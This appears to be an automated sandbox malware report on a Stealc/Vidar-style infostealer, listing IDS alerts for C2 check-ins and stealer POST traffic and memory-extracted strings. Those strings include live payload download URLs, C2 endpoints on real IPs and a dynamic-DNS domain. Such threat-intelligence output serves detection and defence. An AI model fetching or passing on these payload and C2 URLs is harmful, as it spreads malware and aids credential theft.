2024-10-02T17:17:40.119544+0200	2051831	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.6	65296	TCP
2024-10-02T17:18:00.392648+0200	2051831	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.6	65308	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:16:35.251597+0200	2049087	1	A Network Trojan was detected	192.168.2.6	65234	49.12.197.9	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:15.874198+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	65273	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:17:17.551561+0200	2803304	3	Unknown Traffic	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:21.373096+0200	2803304	3	Unknown Traffic	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:22.260184+0200	2803304	3	Unknown Traffic	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:22.982956+0200	2803304	3	Unknown Traffic	192.168.2.6	65279	46.8.231.109	80	TCP
2024-10-02T17:17:24.593916+0200	2803304	3	Unknown Traffic	192.168.2.6	65279	46.8.231.109	80	TCP
2024-10-02T17:17:25.620971+0200	2803304	3	Unknown Traffic	192.168.2.6	65280	46.8.231.109	80	TCP
2024-10-02T17:17:25.977835+0200	2803304	3	Unknown Traffic	192.168.2.6	65280	46.8.231.109	80	TCP
2024-10-02T17:17:28.265510+0200	2803304	3	Unknown Traffic	192.168.2.6	65281	147.45.44.104	80	TCP
2024-10-02T17:17:29.275963+0200	2803304	3	Unknown Traffic	192.168.2.6	65281	147.45.44.104	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T17:15:59.834123+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	49725	147.45.44.104	80	TCP
2024-10-02T17:17:06.841227+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	65263	147.45.44.104	80	TCP
2024-10-02T17:17:09.838243+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	65263	147.45.44.104	80	TCP
2024-10-02T17:17:12.459952+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	65263	147.45.44.104	80	TCP

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: RegAsm.exe, 00000020.00000002.3616544001.0000000027928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe1kkkk1265574http://147.45.44.104/ldms/66fbfccd837a
Source: RegAsm.exe, 00000020.00000002.3616544001.0000000027928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exeU
Source: RegAsm.exe, 00000020.00000002.3616544001.0000000027928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exee
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exerm-data;
Source: RegAsm.exe, 00000020.00000002.3616544001.0000000027928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exew
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3589481722.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfccd837ac_vadggdsa.exe
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfccd837ac_vadggdsa.exe-data;
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfccd837ac_vadggdsa.exe0
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfccd837ac_vadggdsa.exeC:
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfccd837ac_vadggdsa.exere
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66fbfcc301a31_swws.exe
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66fbfcc301a31_swws.exeform-data;
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012D5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.0000000001302000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/&
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/-/
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/=
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/M
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012D5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.0000000001315000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-admin.php
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-admin.php4
Source: RegAsm.exe, 00000003.00000002.2395951419.000000000126D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-ping.php
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/y
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012D5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-admin.php
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-admin.php65cc
Source: RegAsm.exe, 00000003.00000002.2395951419.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-ping.php
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.
Source: RegAsm.exe, 00000020.00000002.3584946793.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll0
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllF
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dlln
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllz
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllP
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllh
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000159D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 00000020.00000002.3616544001.000000002791A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php#
Source: RegAsm.exe, 00000020.00000002.3616544001.000000002791A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpG
Source: RegAsm.exe, 00000020.00000002.3589481722.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpe
Source: RegAsm.exe, 00000020.00000002.3584946793.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----CGHDAKKJJJKJKECBGCGDefault-release
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpuments
Source: RegAsm.exe, 00000020.00000002.3584946793.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109AECGIEB-data;
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109X
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.DBKKFIEBKEHD
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.EBKEHD
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/C4
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgEHD
Source: d4BihqytT0FhOpDvoGEczZzm.exe, 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000007.00000002.3149050724.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoIEBKEHD
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, nss3.dll.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: 66fb252fe232b_Patksl.exe, 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 66fbfcc9963ca_ldfsna[1].exe.32.dr, d4BihqytT0FhOpDvoGEczZzm.exe.3.dr, userBAKKEGCAAE.exe.32.dr, 66fbfccd837ac_vadggdsa[1].exe.32.dr, HDGIJJDGCB.exe.7.dr, AAAKEBGDAF.exe.7.dr, EBKJDBAAKJ.exe.7.dr, 66fbfccd837ac_vadggdsa[1].exe.7.dr, 66fbfcc9963ca_ldfsna[1].exe.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.32.dr, softokn3[1].dll.32.dr, nss3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
